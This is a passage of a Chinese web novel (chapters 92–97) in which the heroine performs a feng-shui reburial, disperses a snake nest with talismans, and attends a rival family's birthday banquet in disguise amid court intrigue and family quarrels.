《和离后,我一卦名动京城》 第92章 筹备婚礼 用早膳的时候,莲儿就发现了自家小姐有些不对劲。 虽然依旧表情淡淡的,好像对什么都漠不关心。 可她就是能看出她不开心。 用脚尖碰了碰还在傻乎乎啃鸡腿的李斗,在他看过来的时候,往江清婉那边使了个眼色。 李斗没看懂,憨憨的给江清婉夹了块鸡肉放在了碗里。 “小姐多吃肉。” 江清婉搅动粥的动作停了下来,随即放开瓷勺。 “青穗,吃过饭你去一趟棺材铺,订一口大棺材,要槐木的,不要上红漆,做一般棺材的两倍大小,再备些元宝蜡烛。加钱给他们,今天就要。你看着现场做,不能偷工减料,也不可换其他木材,整个棺材不许用钉,老师傅能做到。” “莲儿,李斗,你们去集市上买一只活鸡,要红嘴公鸡,三年以上的,再去买十三条红尾鲤鱼,要活的,用盛了水的缸装上,弄好以后,去京兆府衙门,我在那里等你们。” 她说完没再吃一口饭,起身回了房间。 莲儿心中担忧,自从离开秦家,她还从未见过自家小姐这般。 “青穗姑娘,昨夜是不是出了事?小姐她怎么……” 青穗回想了一下,随即摇了摇头。 “没有。” 在画舫喝酒吃肉开心的不行,后来一路回府都是被自家主上抱在怀里的,能遇什么事? 难不成是走了那不远的一段路累着了? 实在是太过娇气。 “我吃好了,先走一步。” 话音未消,人就没了影。 莲儿无奈,又踹了李斗一脚。 “你就看不出咱家小姐不开心吗?” 李斗闷闷道,“要买棺材还要买活鸡,肯定是要祭什么人的,这个时候小姐肯定不开心的。是不是秦家的人都死了?” 莲儿猛地噎住。 竟有那么一瞬间觉得,李斗这话是不是成真了。 随即一想怎么可能。 要真是全府被灭,早就传出动静了。 她摇摇头,快速收拾好碗筷,拉着李斗也出了门。 经过前院的时候,看到平时鲜少人进出的大门,今日却格外热闹,来来回回好些人,还有不少人抬着些木箱子进去。 莲儿正疑惑,就看到天和成衣铺的掌柜带着老裁缝从里面走了出来,正好跟他们走了个对头。 她忙福了福身。 “掌柜的好。” 天和成衣铺在京城很出名。 不仅成衣做的漂亮,什么珍稀的布料,都能在他们铺子里找到。 搬去王府后院时,莲儿就是在天和成衣铺给江清婉买了两身暮云纱,花了几百两银子。 后来又去订过几次。 她嘴巴甜,又买过不少上好的布料,出手阔绰,掌柜的自然认得,当即笑容可掬的回道,“原来是莲儿姑娘啊,好巧。” 莲儿立刻又福了福身。 “掌柜的好营生,是来王府做衣服吗?近日店里有什么好布料,可要给我家姑娘留一些。” 开门做生意的,话都比较的密。 掌柜又接了这单大生意,自然是开心,闻言笑着说, “这个月不行了,要等下个月。王府要办喜事,上好的料子全包了,也不知是哪家姑娘有这般福气,连小衣的用料都是顶顶好的江南丝绸,那可是一块帕子就能顶的上一身成衣的料子。” 莲儿暗暗心焦。 怪不得自家小姐情绪不佳。 原来是王爷要娶妻了。 看来娶的一定是那位筱然县主。 小姐与她多有不睦,那位县主进了门,哪还有她们好果子吃。 她不能看着小姐刚出狼窝,又进了虎区。 定要劝着早早搬出去才好。 掌柜的和老裁缝都着急回去忙活,拱了拱手告辞离开。 莲儿忙福身送别,再回头看着巍峨的王府正门,又想起这段时日墨云寒对江清婉做过的事情,气的连连跺脚。 她原还以为,王爷待小姐有所不同。 可如今才知,夜闯闺房,促膝饮酒,不过是权贵皇族一时兴起的玩乐而已。 她愤愤道,“李斗,我们走。” …… 云杳杳横死前并未出嫁,按照大周礼制,应葬在云家祖祠的边上。 受云家祖宗庇佑。 只是云家本就人丁凋零,后来云筱然封了县主,又将牌位全搬去了白慈山庄,鲜少来墓地祭拜,早就荒芜。 江清婉带着人寻了好半天才找到,看着大片的枯草,让人全都拔了。 毕竟收了银子,这点事,就当赠送。 等枯草除去后,墓碑和坟冢便也露了出来。 下葬看风水这种活儿,江清婉已经许久不做。 她拿着罗盘,点着小手来回走着,刚刚确定好方位,就听见远处传来马蹄声。 墨云寒骑着猎鹰踏风而来,身后跟着形影不离的夜七。 莲儿紧张的看向江清婉,果然见她脸色瞬间沉了下来,心下越发笃定自己的猜想,忙大步走到江清婉身前挡着,福身高声行礼。 “见过王爷。” 话音刚落就被青穗一把拽开,声音压得很低。 “你找死啊。” 看不到她家主上冲着江娘子去了吗,还敢在中间挡着? 莲儿气的挣扎,却又不能明说,毕竟墨云寒并未给她家小姐任何承诺,也未有婚书,实在是拈酸吃醋都没有名分。 这才是最憋屈的。 江清婉狐疑地看了眼莲儿。 以往见到墨云寒,莲儿从不会主动靠近。 今日这是怎么了? 那眼神怎么像是要刮了他? “抱歉,退朝后有些公务耽搁了,累不累?” 墨云寒温和的声音淡淡响起。 骤然袭来的冷香丝丝缕缕将她包裹。 江清婉往侧边移了一步。 “王爷不必亲自过来监工,我既收了银子,自会将事情办好。” “李斗,带人来这里起坟。” 李斗和几个伙计拿着铁锹走过来干活。 墨云寒便也让开位置,站到了江清婉的身边。 那股气息似甩不开般,扰得江清婉心烦,她不爽抬头,“你能离我远点吗?” 男人的瞳孔猛地收紧,显然没料到她会突然凶他。 怔了怔道,“不能。” 江清婉噎了个半死。 墨云寒忽又开口。 “你昨夜唤我夫君!” “咚!” “啊!我的脚,疼疼疼,怎么这么多石头啊。” “继续挖,都别停啊。” 李斗将铁锹铲的震天响。 被青穗拽着的莲儿,此刻已经放弃了挣扎,目瞪口呆、难以置信的咕咚咽了下口水。 所以,王爷要娶的人……是她家小姐? 第93章 遇蛇 江清婉被墨云寒如此大胆的言辞吓了一跳。 小脸瞬间涨得通红。 “你……你疯了。” 昨夜喝了不少酒,有些话说得过了界。 今日一早起来,她就有些恼。 这会儿却又被墨云寒当面点了出来,实在是让人浑身都有些燥 墨云寒却似浑不在意。 一双深邃又寡情的眸子里,噙着笑。 “本就是事实,如何说不得?” 江清婉气的一脚踹在了他金丝纹绣的黑色靴子上,毫不客气地将鞋底的泥巴蹭脏了他的鞋面。 “啊!蛇,有蛇!” 挖坑的人忽然大叫一声,吓得四散而逃。 只见他们刚刚挖开的半人高的坑洞内忽然蜂拥而出无数条色彩各异的小蛇。 密密麻麻地往外游走。 地面没了枯草的遮挡,看的清晰又渗人。 莲儿吓的尖叫,往青穗的身上蹦。 青穗拔出短刀沉声提醒。 “里面有毒蛇,避开。” 李斗举着铁锹护着那几个伙计往后退。 夜七也已经落在了他的身前以防不测。 头皮发麻的紧张时刻,却响起江清婉不悦的嗔怒。 “墨云寒,你放我下去。” 众人齐齐看去。 就见墨云寒将人打横抱起,身形已经退到了几步之外。 而被他抱着的江清婉正一脸嫌弃地瞪着她。 那气氛没有半点涟漪暧昧,甚至还有几分好笑。 墨云寒尴尬的低咳一声。 “有蛇。” “我不怕。” 江清婉猛地挣开他腰间的手落在地上,气呼呼的又踹了他小腿一脚。 祁连山中蛇虫鼠蚁无数,她岂会怕这些东西。 落地之后,手中已经摸出空白符纸,快速刻画后扔进了蛇堆。 蛇群似乎受到感召,蜂拥围上落地的符纸,纠缠成巨大的蛇团,却又很快朝着一个方向滚去,片刻后消失在乱石山中。 跟着李斗挖坑的几个伙计吓得腿软。 “坟地出蛇窝,可是大凶啊,咱还挖吗?” “就是啊,这么多蛇,风水怕是早就破了。” 夜七凑到土坑边往下看,干燥的山土之下,竟因蛇群的出入,而变得潮湿泥泞,还能看到挤出蛇钻出来的小坑洞,正往外渗着水。 饶是他不懂风水,也看出这地方怕是不能埋人。 “江娘子,这地方不太对。” 江清婉也已经走过去,看了看坑底,又看了看自己手里的罗盘。 这玩意她不常用,可不至于连给查个墓穴看个风水都能出岔子。 思及此,她弯下腰伸手够了点泥土在指尖碾了碾。 潮湿中透着一股凉意。 她转头看向墨云寒。 “云家以前也是朝臣吧?” 墨云寒来到她身边,同她一样蹲下身。 “是,云筱然的父亲和祖父都是军武出身,曾随威远候南征北战,就是郭浩的父亲,立了战功之后,封了官职建了云府,后来在大周灭大隋的时候,云家祖父带领一支先锋队,突袭时遭遇大隋机关营火攻暗算,战死沙场。” 江清婉皱眉。 怎么又是死在那场大战中。 “尸骨可有运回?” 墨云寒摇头。 “大隋机关术很厉害,火势太大,尸体焚烧严重,根本分不清谁是谁,便就地掩埋立了英雄冢。至于云家祖祠墓地,只是立了衣冠冢让生人追思。” 江清婉冷笑一声。 “荒草遍布,这生人也没怎么追思。” 墨云寒知她提的是云筱然,抿了抿唇转移话题。 “出现这么多蛇,是不是有人在墓地动了手脚?” 江清婉白了他一眼。 “没有。” “香火断,亡灵寒,如这漫山的荒草一般,久而久之,变成了无主之地,蛇虫鼠蚁想来便来,也无须请示天地,问询亲人。” 她转头朝青穗和莲儿招了招手。 “把那只活公鸡拿来,割了脖子,用鸡血围着墓地周围淋上一圈。” “再将那缸鱼搬过来,放在……” 她看了看,指了个位置。 李斗扔下铁锨过去帮忙,很快弄好一切。 夜七忽地咦了一声。 “水,渗下去了。” 几个伙计探头往下面看,忍不住啧啧称奇。 他们都是干白活的,也见过下葬时遇见的稀奇古怪的事儿,但凡遇过蛇,风水师都不会惊动蛇群,而是选择避让。 这还是第一次见蛇给死人腾了窝,主人家还要继续下葬的。 江清婉过去又捞了一撮土碾了碾。 那股凉意依旧没散,但却不再如先前那般恶意的往肌肤里扎。 她颇为满意的点了点头。 棺材里装着的白骨,全都是横死,又长埋枯井淤泥之中,本就不能按常人的方式去埋,如今这蛇群倒是帮了忙。 让这位置不仅背阴还多了寒气,只需用公鸡血的阳气避了水,便是最合适这些怨灵残骨的落地之处。 师父说,世间阴阳,是一个大的轮回。 虽没有人真的见过,人死后入轮回道,但若是真的能有轮回,一个好的葬身之地,对他们来说,许是这世间正义最后的一次庇佑。 “继续挖吧。” 她站起身,退到水缸处,等棺材被抬入坑中点了蜡烛撒了纸钱后,她才将一道符贴在了水缸之上。 墨云寒看清水中鱼儿数量,正好是白骨数,不由侧头问她。 “这鱼也要一同埋进去吗?” 江清婉抬眸。 “不,等把棺材埋好,找个地方让厨子做成麻辣鱼,我们一起吃。” 墨云寒噎住,声音都变得有些怪。 “吃掉?” 李斗呼哧呼哧铲着土。 “不能吃,那是锦鲤,又小又柴刺还多,肉也不好吃。” 夜七忍不住抽了抽嘴角。 这是好吃不好吃的事儿吗? 在墓地摆出的贡品,还恰好跟白骨同数,想想都瘆得慌,还怎么下嘴。 “江娘子,真吃啊?” 江清婉凉凉笑了笑。 “你喜欢吃?那送你吃。” 夜七连连摆手,总觉得今日的江娘子比平日更难琢磨。 话里都带着刺儿,比他家王爷还阴晴不定。 难不成昨夜跟自家主子聊得不愉快? 棺材埋好,几个伙计竖了块无字的石碑。 江清婉再次看向墨云寒。 “要题字吗?” 墨云寒沉思片刻,走上前跟夜七要了剑。 手腕游动,很快在石碑上刻下了一行字。 “云杳杳及云家仆从一十三人祭。” 落款:墨云寒。 看着他深深刻在石碑上的名字,江清婉心里不由紧了紧。 原是他知道死的都是什么人。 可为何偏偏不让该赎罪的前来赎罪? 不过这终究是别人的事情,她不愿再为此多费心神,让莲儿给伙计分了钱,等人走散了才道,“李斗,你陪莲儿出城,找条干净的大河,将这些鱼放生。” 李斗却还惦记着江清婉刚刚说要吃麻辣鱼的事情。 “小姐,去东郊的河里放生吧,我给你抓几条草鱼回来,那个好吃。” 东郊? 江清婉想了想。 那个地方倒很合适。 “可以,绕开渔船和码头,免得刚放生就又被捞上来。” 墨云寒提议。 “王府有池塘,养在其中是否更为稳妥安全。 李斗和莲儿刚准备走,闻言齐齐抬头看向他,又齐刷刷转向江清婉。 既然怕被捞,圈养在府中池塘的确更稳妥。 似知道他在意什么。 江清婉眸色清冽。 “鱼儿身上并没有云杳杳的魂灵,只是吸收了白骨中残留的怨念,与天地之间寻个方式散去,你就算养十年二十年,云杳杳也不会再回来。” 说完,她转身离开。 生的时候护不住,又何必执念于死了的时候。 到底是感动了自己,还是慰藉了愧疚。 于亡灵而言,不过徒劳! 第94章 匪患 青穗冲着墨云寒行了一礼,匆匆跟上。 莲儿和李斗见气氛不对,也抱着水缸走了。 墨云寒怔怔的看着江清婉纤瘦的背影,片刻后收回目光落在面前的石碑上,孤寂如崖边劲松,站了许久。 对亡者的无力愧疚,是这世间最难拔出的刀。 带着血肉,难平伤口。 初始云杳杳的那年,他八岁。 刚刚被法师放了血,单薄的外衫遮着满身的伤痕,踉跄着走在大雪之中,冻得瑟瑟发抖。 他的父皇已久不上朝,也不愿见他,只用一句话挡住要将他火祭的朝臣。 “朕的小九,绝不能死!” 父皇留他命,却对他不闻不问。 天地之大,他像一条任人宰割的刍狗。 云杳杳跟着云家祖母入宫给太后请安,在殿外僻静的假山处遇到了几乎疼昏过去的他。 给了他一瓶金疮药,和一块梨花糕。 他那时恨极了整个世界。 嘶吼着将金疮药扔在了她的身上,梨花糕捏的粉碎。 云杳杳吓得哇哇大哭,寻她来的太监拉着她离开,细细碎碎说着警告的话。 “他是瘟神,云小姐离远些,会染了灾厄。” 后来父皇准他去太学院旁听,云杳杳一眼认出他,日日往他手里塞各式各样的点心。 他那时一心改命,对少女的好意视而不见。 那些点心倒是让他裹了腹,不至于在夜里偷偷练功的时候饿肚子。 有一次,云杳杳被几个男生欺负,他将那些人揍得鼻青脸肿,只当还了她送点心的恩情,自此两清。 因那次打架,他被父皇责罚关在宫里三个月。 之后,他便入了军营,再没去过太学院,偶有两次被云杳杳堵住,红着眼问他可好。 他也从未放在心上。 再见,便是那次出征…… 若是时光倒流,他但凡多些关注,云杳杳或许就不用死。 可正如江清婉所言。 无论他如何做,那些锦鲤不会变成云杳杳,那些遗憾,也不会被弥补。 一切不过他心中梦魇,跨不去那道坎罢了。 “主上,该启程了。” 夜七上前提醒。 墨云寒回神,眸色微微沉了沉。 早朝之后,皇上留他在御书房。 京郊之外三十里,有匪患出没。 已杀了十数人。 根据简报所述,杀人所用的兵器,为大隋的金钩弯刀。 机关精妙,更胜从前。 此事关乎京中安危,皇上命他密查。 “洛九来了吗?” “已在黄皮子坡等候。” 墨云寒最后看了眼石碑,转身上马疾驰而去。 …… 江清婉坐着马车刚进王府后院的巷子,就听见一道熟悉的声音。 “江妹子,你可让姐姐好等。” 马车停下,江清婉掀起布帘,就见墨青蕊带着一个妇人和一个少年站在院门口。 那少年看到她立刻欢喜的迎了上来。 “见过恩人姐姐。” 正是她前些日子救的何年的儿子何意东。 而陪在墨青蕊身边的妇人,自然便是柳氏。 “江娘子。” 她福身见礼。 江清婉扶着青穗的手腕走下车,颇有些疑惑。 “你们认识?” 墨青蕊笑着挽上他的手臂。 “我娘与她娘是族亲,若论辈分,她应唤我一声表姐,她那夫君性子耿直,我们平日往来的也少。今日她带着儿子来拜会我,聊起家常才知她竟和江妹子另有缘分。既然人都到了长安区,岂有不见见救命恩人的道理。” 她一边说着,一边娴熟地招呼柳氏和何意东往院子里走。 “东儿,你可小心这些花儿,莫要折了。” 何意东的身体恢复的极好。 穿着一件湛蓝色长衫,头发用同色的布巾扎着,很是精神。 闻言施礼应答。 “东儿知晓了。” “这些都是恩人姐姐种的吗?好生漂亮。” 墨青蕊噗嗤一声笑道。 “不是你恩人姐姐种的,是你恩人姐姐未来的夫君种的。” 江清婉眉宇微冷。 “青蕊县主不要乱说。” 墨青蕊嗔了她一眼。 “你还要瞒我啊?这几日宋姐姐那么忙你是半点不知吗?我可听说了,王府偷偷采买了不少成婚用的东西,还给我小九叔定做了婚服。我小九叔身边除了你,哪还有旁的女人。这东西自然是给你准备的。” 闻言,江清婉很是意外。 那张赐婚圣旨并未公开宣读,她猜到是墨云寒想应对不时之需的后招。 怎么会真的准备成婚物品。 一旁的柳氏听得大为震惊。 “郡主是说,九王爷要娶江娘子?可是为妻?” 她这段时日都在府中照顾儿子,鲜少去问询外面的事情。 她本也不是喜欢四处八卦之人,关于江清婉跟秦明朗的事,还是那日听门房小厮说过。 今日得知江清婉竟然住在了九王府的后院,还与九王爷关系颇深,已够她震惊,如今竟要与九王成婚。 虽她知晓江清婉是有大本事的人,可礼制门第森严的皇室,成婚岂是儿戏? 她这话问的墨青蕊也有些愣,差点脱口而出“怎么可能是妻。” 话到嘴边又咽了回去,似怕江清婉不悦,忙柔声安抚。 “江妹子,名分一事,要看怎么论。若能得一男子真心相待,一世恩宠,就算不是妻,其实也无妨。” 站在凉亭外观花的何意东忽地朗声道,“姨母这话说的不对,若男子真心对待女子,又怎会娶他人为妻,让自己心爱之人为妾。恩人姐姐,若他真这般待你,你莫要嫁他,等我长大,我娶你。” 墨青蕊忍不住噗嗤笑出了声。 “果然初生牛犊不怕虎,东儿好本事,竟然敢跟当朝九王爷争女子,姨母看好你。” 柳氏急道。 “郡主说笑了。” “东儿,休要再胡言。” 本有些沉重的气氛被少年这一闹倒是散了不少。 柳氏站起福了福身。 “江娘子,今日我来的匆忙,并未备礼,实在有失礼数。既认了门,他日我再带东儿正式来谢恩。” 墨青蕊最受不得她这一板一眼的模样,伸手将她拽坐在石凳上。 “江妹子,她自小就如此,好生没趣,我平日都不爱跟她玩。” “对了,安安让人传话说是寻了几坛罕见的葡萄酒,择日不如撞日,就今晚吧,我们一起去品尝一番。” 柳氏瞧她一眼。 “郡主表姐,今晚苏家老王妃寿宴,你不是要去送寿礼吗?” 墨青蕊这才想起,猛拍了一下脑门。 “瞧我这记性,那就改为明日。” 江清婉眸光闪了闪。 “苏府今晚办寿宴?” 第95章 寿宴上被挑衅 秦府。 正对镜理云鬓的苏玉兰不悦地在秦明朗腰间拧了一把。 “在想什么,心不在焉的,今晚祖母大寿,你可要给我好好表现。” 秦明朗回神,俯身靠近,殷勤地帮她挽了下耳边的碎发。 “兰儿,祖母大寿,你祖父应该会出面吧?” 苏玉兰歪头看向他。 “怎么?担心见不到我祖父?” 秦明朗拉了一旁的椅子坐下。 “毕竟这是我第一次登门,是不是该为祖父也准备一份厚礼,才显得尊重。” 见他这般用心,苏玉兰立时弯起嘴角。 “祖父和祖母的感情的确不算好,平日祖父一人住在佛心堂,后宅诸事,都是祖母在料理,鲜少会烦到祖父。往年寿宴,祖父偶尔会出席,我不确定他今年去不去,就算他不去,我也可以带你去佛心堂见他老人家,你这般本事,怕什么?” 秦明朗心里发虚,只能讪讪笑笑。 他回忆起那日在暗渠遇到的神秘男人。 帮他解了老树的符咒,还让他重振了雄风。 他的一切事情,对方似乎都了如指掌。 “拿到大隋皇陵地图,我会给你想要的一切,包括权势!” 这是那人消失前留下的话。 他想不通,能在暗渠中来无影去无踪的人,为何还需要他去偷东西? 而且老王爷为什么会藏匿大隋皇陵的地图? “你又在想什么?” 苏玉兰不满的拧住他的耳朵。 秦明朗忙侧头求饶,“兰儿,你与我说说王府内各院的位置吧,到时男女眷若分开,我怕万一莽撞了给你丢脸。” “你倒是挺细心。” 苏玉兰嗔了他一眼,松开手让他去拿了宣纸和笔墨,一边画一边介绍。 说的差不多的时候,秦润一脸亢奋的走了进来。 “父亲,母亲,孩儿准备好了。” 苏玉兰回头,上下打量着他的衣着和头上的金冠,忍不住又刮了秦明朗一眼。 “你倒是舍得花银子。” “润儿这身,甚是矜贵,极好。” 秦明朗越发心虚。 他手里只剩下五千多两,本想全花在寿礼上,却又被借债的蛇头堵住要利息,不给就去收秦家的房子。 交了利息,买寿礼都紧紧巴巴,哪还有银子给秦润置办行头,便随便买了套成衣凑合,谁知去了他院子才知道,他的衣橱里还有好几套没穿的成衣,全是顶好的料子。 铜镜前的匣子里,更是放了好几个做工精良的头冠。 一问才知,这些东西都是之前江清婉给他买的。 两相对比,秦润更觉江清婉比苏玉兰贤惠,也能赚钱。 若是不将人撵走,他何至于过这般窘迫难捱的苦日子。 秦润也不敢说衣服和金冠是江清婉买的,只紧张的又行了一礼。 “润儿不想给母亲丢脸的。” 苏玉兰虽有些心疼银子,不过一想到秦润这次会考拿到的成绩,顿时又展开了笑颜。 “今日你就跟在我身边,也好让苏家人都认认你。” 秦润心中雀跃。 “润儿去院外等着。” 苏玉兰点点头,又对着铜镜整理了一下,也站起了身。 “时辰不早了,我们走吧。” 秦明朗忙牵住她的手。 苏玉兰忽又想到什么,压低声音警告。 “今日在苏家,万不可提你父亲的事情。若大房挑衅,也不必理会。一切等见到祖父再开口,将所有罪责全扣在江清婉勾引九王陷害忠良上,懂了吗?” 秦明朗心中一动。 “兰儿,老王爷真能跟墨云寒抗衡?” 苏玉兰脚步停了停,眼中带着不可一世的骄傲。 “你太小瞧祖父在军中的威望了。” …… 夜幕降临,平日庄严肃穆的长安区变得热闹非凡。 一辆辆马车沿长街而入,规整的排在路边,场面极为震撼。 下车的客人却无一人身着朝服,全都是锦衣华服的便装,夫人端庄,女子娇俏,各府遣来送礼的少爷嫡子们,自是风流倜傥,不甘落人下风。 威远候已年迈,也早不理朝政,来这种场合的自然是唯一的世子小侯爷郭浩。 苏府管家拿过拜帖躬身行礼。 “老侯爷身体可还康健。” 郭浩虽平素乖张,此刻却也敛了性子。 “还不错,上礼。” 身后小厮低垂着眉眼上前,将手中大大你的红色的锦盒递了过去。 管家双手接过,高声喊道,“威远候府上礼……” 随着他的高喊,郭浩摇开折扇大步走了进去。 入府后脚步立刻缓了半步,侧头小声低语。 “九王府的宋夫人也会来送礼,你为何不跟她一起?” 抹黑了小脸,又点了雀斑的江清婉嘴唇微动。 喉咙刻意紧着,声音透着几分少年的粗哑。 “这是我自己的事,与王府何干。” 郭浩丝毫没有怕被连累的担忧。 笑的眉眼都弯了起来。 “看来在你心里,我比九王更好,要不要今夜搬去我府上住?” 江清婉嫌弃的瞥他一眼。 “我可以让你永远不说话。” 郭浩立刻闭嘴。 一时得意忘形,差点忘了这小娘子的本事。 院子里已经来了不少人。 三五成群聊着天。 郭浩虽是小侯爷,可没有任何官职。 靠的是老侯爷的祖荫庇佑,混着富贵日子,在外面那群少爷堆里,玩的很开。但是在这里,真正看得上他的人却极少。 他也不愿虚与委蛇跟那些心眼子比他头发丝都多的朝臣攀谈,正准备寻个位置坐下等着开席,一个锦衣公子却走了过来。 “呦,这不是我们甲班考了零蛋被夫子罚站顶水盆的小侯爷吗?我瞧瞧这脑袋有没有顶秃?” 说话的是太学院甲一班的夏宇。 父亲官拜三品,是个言官。 此人手无缚鸡之力,只会咬文嚼字拽穷酸。 是甲班优等生。 一路会考拿了高分才从丙班一点点升入的甲班。 像郭浩这种不学无水,连篇政策都写不出来的白痴,却靠着侯爵之位轻松就入了甲班,他最是看不上。 平日在太学院遇见,总要酸上几句。 郭浩被戳了短处,还当着江清婉的面提这么丢脸的事,当即恼火, 攥着折扇指着对方的鼻子就开始骂,“你再说一句,老子揍死你。” 夏宇一把将他的扇子拍开,丝毫不惧。 “小点声,蛮横莽夫的样子被人看的很光彩吗?我提醒你,这里可是苏府。” “你不要以为仗着有侯府爵位继承,真当自己是个人物了?我劝你,乖乖从甲班滚出去,跟你那已经老的拿不动刀枪的侯爷爹学几招本事,也别丢了你武侯的家学。” 他身后两个锦袍的公子哥,也是官宦之子,看热闹的耻笑出声。 郭浩气的脸红脖子粗,却又不能当场打人。 “你们有种跟我出去,一对三,老子也打你们满地找牙。” 夏宇鄙夷的撇撇嘴。 “你们瞧瞧,莽夫就是莽夫,老侯爷舔着脸送他入太学院,一样没用。废物,就该有废物的自觉。” 郭浩忍无可忍,一巴掌扇在了对方的脸上。 “你再敢说我爹,我打断你的腿。” 夏宇眼中闪过狠厉,忽地捂着脸愤恨指控,声音陡然大了许多。 “小侯爷,我与你好生说话,你怎可如此蛮横动手打人?今天可是老王妃的寿辰,莫不是威远候府连苏老王爷都不放在眼里了吗?” 第96章 碾压的决心 这罪名可大了。 威远候虽是一品军侯,可相比于苏巍川的威望,那就差了太多。 这满院子的人全都看了过来。 “那位就是威远候家的小世子吗?真是半点侯爷的风范都没有。” “竟然在这种场合动手打人,简直无法无天。” “被打的是夏大人的儿子吧?这夏大人最是护短,怕是明天早朝就能参上一本。” 郭浩又急又气。 指着夏宇发着狠。 “你给我等着。” 说着就想先离开,却被江清婉拉住了手腕。 “世子,你这一走,旁人便会认定是你错,这罪名扣下来,岂不冤枉?” 郭浩愣住。 手腕处传来柔软温热的触感,似一下平复了他所有上头的情绪。 他停下脚步,有些委屈的看着江清婉。 江清婉依旧垂眸而立,灰布长衫,带着小厮的布巾,衬的人瘦弱矮小,毫无存在感。 颇有几分少年音色的清朗语调,却又朗朗的让在场不少人听得一清二楚。 “刚刚这位夏公子嘲笑老侯爷年迈,连刀枪都拿不住,还说他老人家舔着脸跪着求着才让您入了太学。可老侯爷一生为大周披肝沥胆,护卫一方太平,连皇上都感念其军功赫赫,特赐侯爵传承,如今却被人这般羞辱,难道您打回去有错吗?” “就算您目不识丁不通政策,写不出让人拍案叫绝的文章又如何,您护卫自己的父亲,孝心可表,错了吗?难道任由皇上敬重万民爱戴的侯爷,您生身父亲被侮辱也不言不语吗?” 一时间,现场寂静无声。 之前还嘲笑郭浩鲁莽冲动的众人顿时脸上都有些烫。 虽然老侯爷已退出朝堂,可当年的那些战功,却是被记录史册的。 如今大周的和平盛世,老侯爷当得起浓墨重彩。 郭浩也回过神来,腰杆瞬间挺得笔直。 “夏宇,我是没你能言善辩,会写文章,我也承认我脾气不好,暴躁易怒。你与我同窗数载,对我了如指掌,却偏要在这种场合羞辱我父,激我动手,居心何在?到底是我不敬重苏老王爷,还是你们夏家别有用心!” 夏宇登时慌了。 他没想到一向冲动做事的郭浩会说出这般话,急的嘴都不利索了。 “我……你休要胡言乱语,我何时羞辱过老侯爷?” 江清婉却抬手一指,“小人听见了,你身后的那两位也听见了,你藐视皇恩,难道以为别人也会跟你一样肆无忌惮连累家族吗?” 夏宇闻言,心瞬间定了下来。 那二人与他关系极好,定不会背叛他向着郭浩。 可这时,背后却传来略带木然的声音。 “是,夏宇辱骂老侯爷,郭浩气不过才动手的。” “夏宇嫉恨郭浩有个好爹,而他爹只是三品言官,还要他一点点往上爬才能进甲班,在太学院里,他骂的比这还难听……” “闭嘴!你们疯了!” 夏宇急的脸红脖子粗,一手攥着一人的衣领恶狠狠警告。 二人却似如梦初醒般,神色呆滞完全的一头雾水。 郭浩呵呵两声。 “夏少爷注意一下形象和场合,你这样怎的比我这不学无术的莽夫还要莽夫?” 这时刚和几个同僚去佛心堂拜会了苏巍川的夏世辉急匆匆赶来,黑着脸怒喝。 “夏宇,你在胡闹什么?” 夏宇见自个老爹来了,立刻开始告状。 “爹,是郭浩……” “放肆!出了太学院,便不能再以同窗处之,该有的规矩不懂吗?那是小侯爷,岂能直呼其名,坏了礼数?” 夏世辉说着冲郭浩微微拱了拱手。 “小侯爷,小儿礼数不周,老夫跟你致歉。老侯爷为大周鞠躬尽瘁,想必小侯爷也是心胸宽广之人,不会不知场合的乱来。” 言官就是言官,话一出口,便将所有路全给堵死了。 郭浩忍不住又看向江清婉。 这一次,江清婉却并没有打算再帮。 刚刚帮,是不想郭浩受不得气直接离开坏了她的计划。 至于现在, 受点气就受点气吧,总那么冲动行事,早晚会吃亏。 见她垂眸不语。 郭浩定了定神,抱拳回了一礼。 “夏大人说的对,我不会给我爹丢脸的。” 风波消散。 夏世辉依旧笑的温和亲民,眼底却尽是戾色,随即带着夏宇去了别处。 …… 苏府后宅。 老王妃的院子里, 苏家大房苏容安正陪着说话。 “贵妃真是有心,早上送了礼,晚上又赐了御膳,只是宫规森严,不能亲自前来给母亲贺寿。” 老王妃穿着深红色锦缎袍子,发髻束的整整齐齐,别着根碧玉簪子,并无过分奢华的装饰。 一双眸子透着凌厉威严,说话时,语气却又显得极其温和亲切。 “三儿一向懂事,只是一直未得子嗣,你做大姐的,也要多想想法子。” 苏容安点头应下,这时门外传来程氏的娇笑声。 “娘,我带兰儿和您孙女婿来给您贺寿了。” 说话间已经掀开帘子走了进来。 见到苏容安在,脸色微微变了变。 “大姐也在啊。” 苏容安眼中闪过讥讽。 “娘过大寿,我不在这里能去哪里?倒是你,这个时候才过来,难不成娘过寿,府中一切还要娘来张罗?夫君没本事,自己也越发懒惰,明明招的赘婿,却偏要在外让人称呼程夫人,真是丢尽了苏家的脸。” 程氏脸上挂不住,狠狠瞪了眼自家男人一眼。 “我们姐妹说话,你杵在这里做什么,还不滚去外面招呼客人。” 程楠唯唯诺诺的拱了拱手。 话都没敢说就低头走了。 程氏厌烦的收回目光,又恢复笑颜。 “我自然比不过大姐,虽夫君不争气,可好在日日夜夜陪在身边,不像大姐夫,带着儿子常宿军中,大姐夫这夜里也落得清静没人扰。” 苏容安气的脸色有些难看。 眸光忽地落在程氏身后。 看着相携而来亲密无间的秦明朗和苏玉兰,还有跟在二人身侧的秦润,再次勾起唇角。 “兰儿还真是跟二妹一模一样,找男人光看脸,好好的一个县主,偏去自降身份做人的后娘。” 苏玉兰自幼受大房挤压,今日是带着碾压的决心来的,哪里忍得住。 “我夫君为二品将军,和大伯父同级。现已任巡防营首将,掌管京中治安,兵权在握,更是改建了战车,受皇上器重……” 秦明朗心虚的去拉她,却根本拦不住。 苏玉兰越说越得意。 “军需兵器,是战场必备,一批好的机关战车,足可增强防御战力数倍。说不定将来大伯父和堂哥还要仰仗我夫君。我劝大伯母说话,还是客气些好。” 她又将秦润拉到身边。 “还有我家润儿,听话乖巧,对我恭敬有加,更是在太学院会考中取得了优等的成绩,如此优秀的儿子,再来几个,我都欢喜。” 苏容安满眼不屑的看向秦明朗。 “你现在是巡防营首将?” 秦明朗额头的冷汗都冒了出来。 苏玉兰冷嗤道,“我夫君改建战车有功,皇上亲赏,岂会有假?” “可我怎么听说……”苏容安话未说话,帘子外忽然传来一道娇媚动人的声音,酥的人心尖发颤。 第97章 势在必得 “母亲,兰儿自然不会骗祖母。” 苏容安的女儿苏青禾掀帘而入。 一袭浅清锦绣,幽香惑人,极为明艳的一张脸,五官和苏玉兰并不相像,无论姿容还是身段,都更胜一筹。 苏容安并不是招的赘婿,但夫家虽是军武出身,却并无强势背景。 而苏容安作为苏家嫡女,所生子女,若为苏姓,自然是王府世子和嫡女。 为保名分,虽不是赘婿,儿女也都姓了苏。 